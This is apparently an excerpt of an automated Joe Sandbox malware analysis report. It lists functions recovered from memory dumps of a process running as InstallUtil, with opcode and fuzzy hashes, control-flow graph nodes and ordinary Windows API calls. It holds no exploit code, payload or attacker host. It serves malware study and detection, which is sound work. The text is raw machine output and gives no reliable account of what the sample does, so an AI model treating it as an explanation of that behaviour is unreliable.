                                                                            Function 00A10840 Relevance: .0, Instructions: 7COMMON
                                                                            Download Yara Rule
                                                                            Memory Dump Source
                                                                            • Source File: 00000003.00000002.1903417732.0000000000A10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00A10000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_3_2_a10000_StackTrace.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID:
                                                                            • API String ID:
                                                                            • Opcode ID: 9576561bdeadabe24c43f9978c8f667859d3fbcbd8baf0e947e9ab06b3697184
                                                                            • Instruction ID: 7f4a91ae4632f7baecb7e11bb5df8290cc6f6fed03acbb5d4ea1fed60ee2c821
                                                                            • Opcode Fuzzy Hash: 9576561bdeadabe24c43f9978c8f667859d3fbcbd8baf0e947e9ab06b3697184
                                                                            • Instruction Fuzzy Hash: 78C09B5101C99449D3215750E86DFF13F846B0120EF4D41DDD15C05493DBFF10084646
                                                                            Function 00A10850 Relevance: .0, Instructions: 5COMMON
                                                                            Download Yara Rule
                                                                            Memory Dump Source
                                                                            • Source File: 00000003.00000002.1903417732.0000000000A10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00A10000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_3_2_a10000_StackTrace.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID:
                                                                            • API String ID:
                                                                            • Opcode ID: d6d015184fd0447dabe8a22b30283148ee3968d1906687f4131988d3d87a87df
                                                                            • Instruction ID: 0baeca7895d83d31a22dfe57310c829ceb300ca3f48abc455b7e2a019fb007be
                                                                            • Opcode Fuzzy Hash: d6d015184fd0447dabe8a22b30283148ee3968d1906687f4131988d3d87a87df
                                                                            • Instruction Fuzzy Hash: C190023104460D9B465027997859955B75C95445157808459A50D415125B6A64144599

                                                                            Non-executed Functions

                                                                            Function 00A145D0 Relevance: 5.0, Strings: 4, Instructions: 10COMMON
                                                                            Download Yara Rule
                                                                            Strings
                                                                            Memory Dump Source
                                                                            • Source File: 00000003.00000002.1903417732.0000000000A10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00A10000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_3_2_a10000_StackTrace.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID: TJcq$jjjjjj$$^q$$^q
                                                                            • API String ID: 0-672324049
                                                                            • Opcode ID: 9921d57e385931c9f22ba9523907a929bb6082582e007b76f07ce6a25bbe8d7a
                                                                            • Instruction ID: b75c20504ffec9d8aa0027809cb173fb8256c7eab497792d4e25cc0818f38375
                                                                            • Opcode Fuzzy Hash: 9921d57e385931c9f22ba9523907a929bb6082582e007b76f07ce6a25bbe8d7a
                                                                            • Instruction Fuzzy Hash: 72C0122090E7D0CFCB830A2A18E00A43E206EA721030880EAE8808F087D620888AE727
                                                                            Function 00A1458D Relevance: 5.0, Strings: 4, Instructions: 9COMMON
                                                                            Download Yara Rule
                                                                            Strings
                                                                            Memory Dump Source
                                                                            • Source File: 00000003.00000002.1903417732.0000000000A10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00A10000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_3_2_a10000_StackTrace.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID: TJcq$jjjjjj$$^q$$^q
                                                                            • API String ID: 0-672324049
                                                                            • Opcode ID: 5e9503926a179828687c6ca667050c4e9f211b5a7d5ccef585261895162bb99e
                                                                            • Instruction ID: 5b203a9c8746fb6ba1bd740e4cf8072f8a9448616ef5e433357b5469557293f7
                                                                            • Opcode Fuzzy Hash: 5e9503926a179828687c6ca667050c4e9f211b5a7d5ccef585261895162bb99e
                                                                            • Instruction Fuzzy Hash: 6BC08C6080E280CFCA020A2D90D02B06D227BA9361B34D0D2F0420B00BE620CCCAA221
                                                                            Function 00A145B7 Relevance: 5.0, Strings: 4, Instructions: 6COMMON
                                                                            Download Yara Rule
                                                                            Strings
                                                                            Memory Dump Source
                                                                            • Source File: 00000003.00000002.1903417732.0000000000A10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00A10000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_3_2_a10000_StackTrace.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID: TJcq$jjjjjj$$^q$$^q
                                                                            • API String ID: 0-672324049
                                                                            • Opcode ID: 7f83ba5e766b1d501297f4b290aeae531dd643d37672bec9e34a6b621d518fb9
                                                                            • Instruction ID: b6fd9b5799a31ec09f1dd0203fc0ea2efe5cb61b262fd1a46bf9b3e7ba8db0bc
                                                                            • Opcode Fuzzy Hash: 7f83ba5e766b1d501297f4b290aeae531dd643d37672bec9e34a6b621d518fb9
                                                                            • Instruction Fuzzy Hash: C0B01230104000CEC6408A00C9801707330FF413447348056C4071B508C320CCC6D601
                                                                            Function 00A14571 Relevance: 5.0, Strings: 4, Instructions: 6COMMON
                                                                            Download Yara Rule
                                                                            Strings
                                                                            Memory Dump Source
                                                                            • Source File: 00000003.00000002.1903417732.0000000000A10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00A10000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_3_2_a10000_StackTrace.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID: TJcq$jjjjjj$$^q$$^q
                                                                            • API String ID: 0-672324049
                                                                            • Opcode ID: 7f5793e15863b66c7623c822d5a2ea5cffa8d1bc691a6b0bebf70f67c0621f9d
                                                                            • Instruction ID: d93c891aa54c2b61135ebea54ce983907ea5a7e3cfccd5b1ad62edb7eddb6d00
                                                                            • Opcode Fuzzy Hash: 7f5793e15863b66c7623c822d5a2ea5cffa8d1bc691a6b0bebf70f67c0621f9d
                                                                            • Instruction Fuzzy Hash: 68B092B0505200CF8701CA04C180464B371FB8139232580AAC1031F02982308983EA01

                                                                            Execution Graph

                                                                            Execution Coverage:6.7%
                                                                            Dynamic/Decrypted Code Coverage:100%
                                                                            Signature Coverage:0%
                                                                            Total number of Nodes:79
                                                                            Total number of Limit Nodes:11
                                                                            execution_graph 18041 1816540 18042 1816586 GetCurrentProcess 18041->18042 18044 18165d1 18042->18044 18045 18165d8 GetCurrentThread 18042->18045 18044->18045 18046 1816615 GetCurrentProcess 18045->18046 18048 181660e 18045->18048 18047 181664b 18046->18047 18049 1816673 GetCurrentThreadId 18047->18049 18048->18046 18050 18166a4 18049->18050 18128 58a26d8 CloseHandle 18129 58a273f 18128->18129 18051 1816788 DuplicateHandle 18052 181681e 18051->18052 18053 181bf08 18056 181bff0 18053->18056 18054 181bf17 18057 181c034 18056->18057 18058 181c011 18056->18058 18057->18054 18058->18057 18059 181c238 GetModuleHandleW 18058->18059 18060 181c265 18059->18060 18060->18054 18061 1814668 18062 1814676 18061->18062 18067 1816de0 18062->18067 18065 1814704 18068 1816e05 18067->18068 18076 1816ef0 18068->18076 18080 1816edf 18068->18080 18069 18146e9 18072 181421c 18069->18072 18073 1814227 18072->18073 18088 1818560 18073->18088 18075 1818806 18075->18065 18078 1816f17 18076->18078 18077 1816ff4 18077->18077 18078->18077 18084 1816414 18078->18084 18082 1816f17 18080->18082 18081 1816ff4 18081->18081 18082->18081 18083 1816414 CreateActCtxA 18082->18083 18083->18081 18085 1817370 CreateActCtxA 18084->18085 18087 1817433 18085->18087 18087->18087 18089 181856b 18088->18089 18092 1818580 18089->18092 18091 18188dd 18091->18075 18093 181858b 18092->18093 18096 18185b0 18093->18096 18095 18189ba 18095->18091 18097 18185bb 18096->18097 18100 18185e0 18097->18100 18099 1818aad 18099->18095 18101 18185eb 18100->18101 18102 1819ed1 18101->18102 18104 181df60 18101->18104 18102->18099 18105 181df91 18104->18105 18106 181dfb5 18105->18106 18108 181e120 18105->18108 18106->18102 18109 181e12d 18108->18109 18110 181e166 18109->18110 18112 181c464 18109->18112 18110->18106 18113 181c46f 18112->18113 18115 181e1d8 18113->18115 18116 181c498 18113->18116 18117 181c4a3 18116->18117 18118 18185e0 2 API calls 18117->18118 18119 181e247 18118->18119 18122 181e2c0 18119->18122 18120 181e256 18120->18115 18123 181e2ee 18122->18123 18124 181c530 GetFocus 18123->18124 18125 181e317 18123->18125 18127 181e3bf 18123->18127 18124->18125 18126 181e3ba KiUserCallbackDispatcher 18125->18126 18125->18127 18126->18127 18130 58a2130 18131 58a22bb 18130->18131 18132 58a2156 18130->18132 18132->18131 18135 58a23a8 18132->18135 18138 58a23b0 PostMessageW 18132->18138 18136 58a23b0 PostMessageW 18135->18136 18137 58a241c 18136->18137 18137->18132 18139 58a241c 18138->18139 18139->18132

                                                                            Executed Functions

                                                                            Function 01816530 Relevance: 6.1, APIs: 4, Instructions: 137threadCOMMON
                                                                            Download Yara Rule

                                                                            Control-flow Graph

                                                                            • Executed
                                                                            • Not Executed
                                                                            control_flow_graph 536 1816530-1816531 537 1816533-181653d 536->537 538 181657a-1816586 536->538 539 1816587-18165cf GetCurrentProcess 537->539 540 181653f-1816579 537->540 538->539 544 18165d1-18165d7 539->544 545 18165d8-181660c GetCurrentThread 539->545 540->538 544->545 546 1816615-1816649 GetCurrentProcess 545->546 547 181660e-1816614 545->547 549 1816652-181666d call 181670f 546->549 550 181664b-1816651 546->550 547->546 552 1816673-18166a2 GetCurrentThreadId 549->552 550->549 554 18166a4-18166aa 552->554 555 18166ab-181670d 552->555 554->555
                                                                            APIs
                                                                            • GetCurrentProcess.KERNEL32 ref: 018165BE
                                                                            • GetCurrentThread.KERNEL32 ref: 018165FB
                                                                            • GetCurrentProcess.KERNEL32 ref: 01816638
                                                                            • GetCurrentThreadId.KERNEL32 ref: 01816691
                                                                            Memory Dump Source
                                                                            • Source File: 00000005.00000002.1923525870.0000000001810000.00000040.00000800.00020000.00000000.sdmp, Offset: 01810000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_5_2_1810000_InstallUtil.jbxd
                                                                            Similarity
                                                                            • API ID: Current$ProcessThread
                                                                            • String ID:
                                                                            • API String ID: 2063062207-0
                                                                            • Opcode ID: e086a188ba09ebc5e9d6785ba376e97c734f672ccbc96f86e666140385da5163
                                                                            • Instruction ID: 7d24549ad526a18474cb81749f4a6155025002b30529474592915885dc07d202
                                                                            • Opcode Fuzzy Hash: e086a188ba09ebc5e9d6785ba376e97c734f672ccbc96f86e666140385da5163
                                                                            • Instruction Fuzzy Hash: A25155B09002098FDB14DFA9C548BEEBFF5AF48304F20845AE549AB364DBB49984CF65
                                                                            Function 01816540 Relevance: 6.1, APIs: 4, Instructions: 128threadCOMMON
                                                                            Download Yara Rule

                                                                            Control-flow Graph

                                                                            • Executed
                                                                            • Not Executed
                                                                            control_flow_graph 562 1816540-18165cf GetCurrentProcess 567 18165d1-18165d7 562->567 568 18165d8-181660c GetCurrentThread 562->568 567->568 569 1816615-1816649 GetCurrentProcess 568->569 570 181660e-1816614 568->570 572 1816652-181666d call 181670f 569->572 573 181664b-1816651 569->573 570->569 575 1816673-18166a2 GetCurrentThreadId 572->575 573->572 577 18166a4-18166aa 575->577 578 18166ab-181670d 575->578 577->578
                                                                            APIs
                                                                            • GetCurrentProcess.KERNEL32 ref: 018165BE
                                                                            • GetCurrentThread.KERNEL32 ref: 018165FB
                                                                            • GetCurrentProcess.KERNEL32 ref: 01816638
                                                                            • GetCurrentThreadId.KERNEL32 ref: 01816691
                                                                            Memory Dump Source
                                                                            • Source File: 00000005.00000002.1923525870.0000000001810000.00000040.00000800.00020000.00000000.sdmp, Offset: 01810000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_5_2_1810000_InstallUtil.jbxd
                                                                            Similarity
                                                                            • API ID: Current$ProcessThread
                                                                            • String ID:
                                                                            • API String ID: 2063062207-0
                                                                            • Opcode ID: eabeaa08f31c45dc2736bbd77273ef8baed3f0102d17c31dc6fa857019573450
                                                                            • Instruction ID: ea32f38bd02e984d4bec845b8ff01fdcd2a35f15d758112319706816d4e8306f
                                                                            • Opcode Fuzzy Hash: eabeaa08f31c45dc2736bbd77273ef8baed3f0102d17c31dc6fa857019573450
                                                                            • Instruction Fuzzy Hash: 175157B0D00209CFDB14DFA9C548B9EBBF5EF48304F20845AE559AB364DB74A984CF69
                                                                            Function 0181BFF0 Relevance: 1.7, APIs: 1, Instructions: 203COMMON
                                                                            Download Yara Rule

                                                                            Control-flow Graph

                                                                            • Executed
                                                                            • Not Executed
                                                                            control_flow_graph 607 181bff0-181c00f 608 181c011-181c01e call 181af60 607->608 609 181c03b-181c03f 607->609 616 181c020 608->616 617 181c034 608->617 610 181c041-181c04b 609->610 611 181c053-181c094 609->611 610->611 618 181c0a1-181c0af 611->618 619 181c096-181c09e 611->619 662 181c026 call 181c689 616->662 663 181c026 call 181c698 616->663 617->609 621 181c0b1-181c0b6 618->621 622 181c0d3-181c0d5 618->622 619->618 620 181c02c-181c02e 620->617 623 181c170-181c230 620->623 625 181c0c1 621->625 626 181c0b8-181c0bf call 181af6c 621->626 624 181c0d8-181c0df 622->624 657 181c232-181c235 623->657 658 181c238-181c263 GetModuleHandleW 623->658 628 181c0e1-181c0e9 624->628 629 181c0ec-181c0f3 624->629 627 181c0c3-181c0d1 625->627 626->627 627->624 628->629 632 181c100-181c109 call 181af7c 629->632 633 181c0f5-181c0fd 629->633 638 181c116-181c11b 632->638 639 181c10b-181c113 632->639 633->632 640 181c139-181c146 638->640 641 181c11d-181c124 638->641 639->638 648 181c169-181c16f 640->648 649 181c148-181c166 640->649 641->640 643 181c126-181c136 call 181af8c call 181af9c 641->643 643->640 649->648 657->658 659 181c265-181c26b 658->659 660 181c26c-181c280 658->660 659->660 662->620 663->620
                                                                            APIs
                                                                            • GetModuleHandleW.KERNELBASE(00000000), ref: 0181C256
                                                                            Memory Dump Source
                                                                            • Source File: 00000005.00000002.1923525870.0000000001810000.00000040.00000800.00020000.00000000.sdmp, Offset: 01810000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_5_2_1810000_InstallUtil.jbxd
                                                                            Similarity
                                                                            • API ID: HandleModule
                                                                            • String ID:
                                                                            • API String ID: 4139908857-0
                                                                            • Opcode ID: f495385cc59d6ef29216ef62a714971f2098491fbecb3c3a344095c5dc57da23
                                                                            • Instruction ID: 069deca589d7364c8e4bcb5e78ac980cbb070e6b4d3f5c2daffad8111c8fa3e8
                                                                            • Opcode Fuzzy Hash: f495385cc59d6ef29216ef62a714971f2098491fbecb3c3a344095c5dc57da23
                                                                            • Instruction Fuzzy Hash: FA8154B1A00B458FD724DF69C4407AABBF5FF88300F108A2DD48ADBA44D775EA46CB90
                                                                            Function 01817364 Relevance: 1.6, APIs: 1, Instructions: 97COMMON
                                                                            Download Yara Rule

                                                                            Control-flow Graph

                                                                            • Executed
                                                                            • Not Executed
                                                                            control_flow_graph 664 1817364-1817431 CreateActCtxA 666 1817433-1817439 664->666 667 181743a-1817494 664->667 666->667 674 18174a3-18174a7 667->674 675 1817496-1817499 667->675 676 18174a9-18174b5 674->676 677 18174b8 674->677 675->674 676->677 679 18174b9 677->679 679->679
                                                                            APIs
                                                                            • CreateActCtxA.KERNEL32(?), ref: 01817421
                                                                            Memory Dump Source
                                                                            • Source File: 00000005.00000002.1923525870.0000000001810000.00000040.00000800.00020000.00000000.sdmp, Offset: 01810000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_5_2_1810000_InstallUtil.jbxd
                                                                            Similarity
                                                                            • API ID: Create
                                                                            • String ID:
                                                                            • API String ID: 2289755597-0
                                                                            • Opcode ID: 2299c3ca757dd26870f03609ba1d5e5c62abf7d4620c63883a83720530261459
                                                                            • Instruction ID: ba4c020077713d2fca4c4ed9778394b36cda618bbfa5c651f512d4db364fa1f8
                                                                            • Opcode Fuzzy Hash: 2299c3ca757dd26870f03609ba1d5e5c62abf7d4620c63883a83720530261459
                                                                            • Instruction Fuzzy Hash: CE41F2B1C00619CFDB24CFA9C984BDDBBF5BF49304F2480AAD418AB255DB756989CF90
                                                                            Function 01816414 Relevance: 1.6, APIs: 1, Instructions: 96COMMON
                                                                            Download Yara Rule

                                                                            Control-flow Graph

                                                                            • Executed
                                                                            • Not Executed
                                                                            control_flow_graph 680 1816414-1817431 CreateActCtxA 683 1817433-1817439 680->683 684 181743a-1817494 680->684 683->684 691 18174a3-18174a7 684->691 692 1817496-1817499 684->692 693 18174a9-18174b5 691->693 694 18174b8 691->694 692->691 693->694 696 18174b9 694->696 696->696
                                                                            APIs
                                                                            • CreateActCtxA.KERNEL32(?), ref: 01817421
                                                                            Memory Dump Source
                                                                            • Source File: 00000005.00000002.1923525870.0000000001810000.00000040.00000800.00020000.00000000.sdmp, Offset: 01810000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_5_2_1810000_InstallUtil.jbxd
                                                                            Similarity
                                                                            • API ID: Create
                                                                            • String ID:
                                                                            • API String ID: 2289755597-0
                                                                            • Opcode ID: a379564fc93917d0bb2367a4f39fead68b40509e306da3f4163ea2316cc173a2
                                                                            • Instruction ID: fc929395c44f7b7795d62a4c3e8cac37c8c42424a66740386bcaf5eb9e06ba2d
                                                                            • Opcode Fuzzy Hash: a379564fc93917d0bb2367a4f39fead68b40509e306da3f4163ea2316cc173a2
                                                                            • Instruction Fuzzy Hash: D341C2B1C0061DDFDB24DFA9C884B9EBBF9BF48304F24806AD418AB255DB756985CF90
                                                                            Function 01816780 Relevance: 1.6, APIs: 1, Instructions: 68COMMON
                                                                            Download Yara Rule

                                                                            Control-flow Graph

                                                                            • Executed
                                                                            • Not Executed
                                                                            control_flow_graph 697 1816780-1816781 698 1816783-18167c7 697->698 699 18167ca-181681c DuplicateHandle 697->699 698->699 700 1816825-1816842 699->700 701 181681e-1816824 699->701 701->700
                                                                            APIs
                                                                            • DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 0181680F
                                                                            Memory Dump Source
                                                                            • Source File: 00000005.00000002.1923525870.0000000001810000.00000040.00000800.00020000.00000000.sdmp, Offset: 01810000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_5_2_1810000_InstallUtil.jbxd
                                                                            Similarity
                                                                            • API ID: DuplicateHandle
                                                                            • String ID:
                                                                            • API String ID: 3793708945-0
                                                                            • Opcode ID: 936521adf4eca27ad87a5f57cb4a04d7933f3ca994e0b15c2a205ff760ca9754
                                                                            • Instruction ID: bfd3353c8eb1841616781241669336128c9e1848d656762e4c635b46621df85d
                                                                            • Opcode Fuzzy Hash: 936521adf4eca27ad87a5f57cb4a04d7933f3ca994e0b15c2a205ff760ca9754
                                                                            • Instruction Fuzzy Hash: 512137B690024A9FDB10CFA9D984AEEBFF4FF48320F24815AE954A7251D374A941CF61
                                                                            Function 01816788 Relevance: 1.6, APIs: 1, Instructions: 62COMMON
                                                                            Download Yara Rule

                                                                            Control-flow Graph

                                                                            • Executed
                                                                            • Not Executed
                                                                            control_flow_graph 704 1816788-181681c DuplicateHandle 705 1816825-1816842 704->705 706 181681e-1816824 704->706 706->705
                                                                            APIs
                                                                            • DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 0181680F
                                                                            Memory Dump Source
                                                                            • Source File: 00000005.00000002.1923525870.0000000001810000.00000040.00000800.00020000.00000000.sdmp, Offset: 01810000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_5_2_1810000_InstallUtil.jbxd
                                                                            Similarity
                                                                            • API ID: DuplicateHandle
                                                                            • String ID:
                                                                            • API String ID: 3793708945-0
                                                                            • Opcode ID: 469edadef88517a2b4d0c4ddcc73ab3fc3b594c613ea78180df52510e4a9658d
                                                                            • Instruction ID: 817bc5346014cd5bd9b47775c3e86f2dabc4ce3436bc6e41d6d717a0892ac92c
                                                                            • Opcode Fuzzy Hash: 469edadef88517a2b4d0c4ddcc73ab3fc3b594c613ea78180df52510e4a9658d
                                                                            • Instruction Fuzzy Hash: 0D21C4B59002589FDB10CF9AD984ADEBFF8FB48320F14841AE958A7350D374A944CFA5
                                                                            Function 058A23A8 Relevance: 1.5, APIs: 1, Instructions: 47windowCOMMON
                                                                            Download Yara Rule

                                                                            Control-flow Graph

                                                                            • Executed
                                                                            • Not Executed
                                                                            control_flow_graph 715 58a23a8-58a241a PostMessageW 717 58a241c-58a2422 715->717 718 58a2423-58a2437 715->718 717->718
                                                                            APIs
                                                                            • PostMessageW.USER32(?,?,?,?), ref: 058A240D
                                                                            Memory Dump Source
                                                                            • Source File: 00000005.00000002.1944281659.00000000058A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 058A0000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_5_2_58a0000_InstallUtil.jbxd
                                                                            Similarity
                                                                            • API ID: MessagePost
                                                                            • String ID:
                                                                            • API String ID: 410705778-0
                                                                            • Opcode ID: d2f7902c10c0766bdf5ae011b9fb06e305c3b0c6dcc11d6b60cef475013ff578
                                                                            • Instruction ID: f132c789d8baedcfb1c3e74cf29c7b84a6eab49032884e5fc9349d0a5dbee2fa
                                                                            • Opcode Fuzzy Hash: d2f7902c10c0766bdf5ae011b9fb06e305c3b0c6dcc11d6b60cef475013ff578
                                                                            • Instruction Fuzzy Hash: 381106B68003489FDB10DF9AC885BDEBFF8FB48320F108459E959A7210C375A944CFA5
                                                                            Function 0181C1F0 Relevance: 1.5, APIs: 1, Instructions: 47COMMON
                                                                            Download Yara Rule

                                                                            Control-flow Graph

                                                                            • Executed
                                                                            • Not Executed
                                                                            control_flow_graph 709 181c1f0-181c230 710 181c232-181c235 709->710 711 181c238-181c263 GetModuleHandleW 709->711 710->711 712 181c265-181c26b 711->712 713 181c26c-181c280 711->713 712->713
                                                                            APIs
                                                                            • GetModuleHandleW.KERNELBASE(00000000), ref: 0181C256
                                                                            Memory Dump Source
                                                                            • Source File: 00000005.00000002.1923525870.0000000001810000.00000040.00000800.00020000.00000000.sdmp, Offset: 01810000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_5_2_1810000_InstallUtil.jbxd
                                                                            Similarity
                                                                            • API ID: HandleModule
                                                                            • String ID:
                                                                            • API String ID: 4139908857-0
                                                                            • Opcode ID: b62f09d2bab195c64d1eb8819cc809fd2a8e3b2e7003ef2eec214413f6432c22
                                                                            • Instruction ID: 0d1bf12f580892f9bbd2f2d3398bd65f0480f30e9585f28df45314f86383faf4
                                                                            • Opcode Fuzzy Hash: b62f09d2bab195c64d1eb8819cc809fd2a8e3b2e7003ef2eec214413f6432c22
                                                                            • Instruction Fuzzy Hash: 201113B6C002498FDB10DF9AC444ADEFBF8AF88310F10842AD569B7210C375A545CFA5
                                                                            Function 058A23B0 Relevance: 1.5, APIs: 1, Instructions: 44windowCOMMON
                                                                            Download Yara Rule

                                                                            Control-flow Graph

                                                                            • Executed
                                                                            • Not Executed
                                                                            control_flow_graph 720 58a23b0-58a241a PostMessageW 721 58a241c-58a2422 720->721 722 58a2423-58a2437 720->722 721->722
                                                                            APIs
                                                                            • PostMessageW.USER32(?,?,?,?), ref: 058A240D
                                                                            Memory Dump Source
                                                                            • Source File: 00000005.00000002.1944281659.00000000058A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 058A0000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_5_2_58a0000_InstallUtil.jbxd
                                                                            Similarity
                                                                            • API ID: MessagePost
                                                                            • String ID:
                                                                            • API String ID: 410705778-0
                                                                            • Opcode ID: 3cb02bad4587c0422ada6816964129a075c510e2982eedb1aaca644ef2d97c32
                                                                            • Instruction ID: 006fdbc66cea278b7fb3bbb8fa23f27c931a16ba86d242241fe48edee4beb88c
                                                                            • Opcode Fuzzy Hash: 3cb02bad4587c0422ada6816964129a075c510e2982eedb1aaca644ef2d97c32
                                                                            • Instruction Fuzzy Hash: E21103B58003489FDB10DF9AC484BDEBFF8FB48320F108419E959A7210C375A984CFA5
                                                                            Function 058A267F Relevance: 1.3, APIs: 1, Instructions: 74COMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                            • CloseHandle.KERNELBASE(?), ref: 058A2730
                                                                            Memory Dump Source
                                                                            • Source File: 00000005.00000002.1944281659.00000000058A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 058A0000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_5_2_58a0000_InstallUtil.jbxd
                                                                            Similarity
                                                                            • API ID: CloseHandle
                                                                            • String ID:
                                                                            • API String ID: 2962429428-0
                                                                            • Opcode ID: 1c4887537a2bc44dd30f8cd9792cb700bd84570d99cf6c13cdc4e7b5ef3b2ae3
                                                                            • Instruction ID: 8ec808147f2aa17ea433dc08b7930e94eddd152b742ea1902e275374cdf3bf47
                                                                            • Opcode Fuzzy Hash: 1c4887537a2bc44dd30f8cd9792cb700bd84570d99cf6c13cdc4e7b5ef3b2ae3
                                                                            • Instruction Fuzzy Hash: CB218BB6800248CFCB10DFA9C444ADEBFF0FF08310F14846AD859A7261D7349944CF61
                                                                            Function 058A26D8 Relevance: 1.3, APIs: 1, Instructions: 47COMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                            • CloseHandle.KERNELBASE(?), ref: 058A2730
                                                                            Memory Dump Source
                                                                            • Source File: 00000005.00000002.1944281659.00000000058A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 058A0000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_5_2_58a0000_InstallUtil.jbxd
                                                                            Similarity
                                                                            • API ID: CloseHandle
                                                                            • String ID:
                                                                            • API String ID: 2962429428-0
                                                                            • Opcode ID: a217b899be463358ff5f7b9c43a0af440accbe22f4b171185052e28da671b161
                                                                            • Instruction ID: 32cdeb318685f95891a78336265cdcf41b9d1378dbe5bd2bbf1986fee7d304da
                                                                            • Opcode Fuzzy Hash: a217b899be463358ff5f7b9c43a0af440accbe22f4b171185052e28da671b161
                                                                            • Instruction Fuzzy Hash: E91106B58002498FDB20DF9AC585BDEBBF4FB48320F108459D959A7250D778A944CFA5
                                                                            Function 0163D4D8 Relevance: .1, Instructions: 75COMMON
                                                                            Download Yara Rule
                                                                            Memory Dump Source
                                                                            • Source File: 00000005.00000002.1918737104.000000000163D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0163D000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_5_2_163d000_InstallUtil.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID:
                                                                            • API String ID:
                                                                            • Opcode ID: d4e3d3e7deed0ceaf26caf977a2c50857ea4782afedc26f5d3cd72132653ab67
                                                                            • Instruction ID: 8a3a4eaec54b46deaa03b36a3337aa72440e18608f4d1813ceac3fa3e9bc96a4
                                                                            • Opcode Fuzzy Hash: d4e3d3e7deed0ceaf26caf977a2c50857ea4782afedc26f5d3cd72132653ab67
                                                                            • Instruction Fuzzy Hash: F3212571600200DFDB05DF98DDC0B2ABFA5FBC8328F60C169E9094B396C336D456CAA2
                                                                            Function 0164D01C Relevance: .1, Instructions: 72COMMON
                                                                            Download Yara Rule
                                                                            Memory Dump Source
                                                                            • Source File: 00000005.00000002.1918865708.000000000164D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0164D000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_5_2_164d000_InstallUtil.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID:
                                                                            • API String ID:
                                                                            • Opcode ID: 1b96f1bf256db7f3ebde1fa1c7ccd46562e19e521eb0560dd735f1e9865feaa7
                                                                            • Instruction ID: 98e22e39a5fa1743a736ab6a364f5fa2006cd71158779da4a0ec6ac00df9eba4
                                                                            • Opcode Fuzzy Hash: 1b96f1bf256db7f3ebde1fa1c7ccd46562e19e521eb0560dd735f1e9865feaa7
                                                                            • Instruction Fuzzy Hash: 18213471A04200DFCB15DF98D9C4B26BFA5FB94B14F20C56DD80A4B396C33AD447CA61
                                                                            Function 0163D4D3 Relevance: .1, Instructions: 56COMMON
                                                                            Download Yara Rule
                                                                            Memory Dump Source
                                                                            • Source File: 00000005.00000002.1918737104.000000000163D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0163D000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_5_2_163d000_InstallUtil.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID:
                                                                            • API String ID:
                                                                            • Opcode ID: 201b50b495cf87aa99c5283e85c62261d36f592a674eeeb3b47fc5aac64b1fd2
                                                                            • Instruction ID: b6df534c1ab3cc636b1d220a94eec191f6ad2402211a84e1b4e91fb76c7311a5
                                                                            • Opcode Fuzzy Hash: 201b50b495cf87aa99c5283e85c62261d36f592a674eeeb3b47fc5aac64b1fd2
                                                                            • Instruction Fuzzy Hash: 6511B176504240DFDB16CF54D9C4B16BF71FB94328F24C6A9D9090B396C33AD45ACBA1
                                                                            Function 0164D017 Relevance: .1, Instructions: 53COMMON
                                                                            Download Yara Rule
                                                                            Memory Dump Source
                                                                            • Source File: 00000005.00000002.1918865708.000000000164D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0164D000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_5_2_164d000_InstallUtil.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID:
                                                                            • API String ID:
